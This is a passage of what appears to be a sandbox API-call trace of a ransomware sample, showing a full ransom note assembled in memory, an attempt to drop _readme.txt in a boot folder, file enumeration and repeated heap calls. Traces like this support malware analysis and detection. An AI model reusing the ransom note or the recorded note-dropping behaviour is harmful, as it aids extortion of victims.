tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.482] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.482] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.483] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.483] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.483] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.483] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.483] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.483] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: 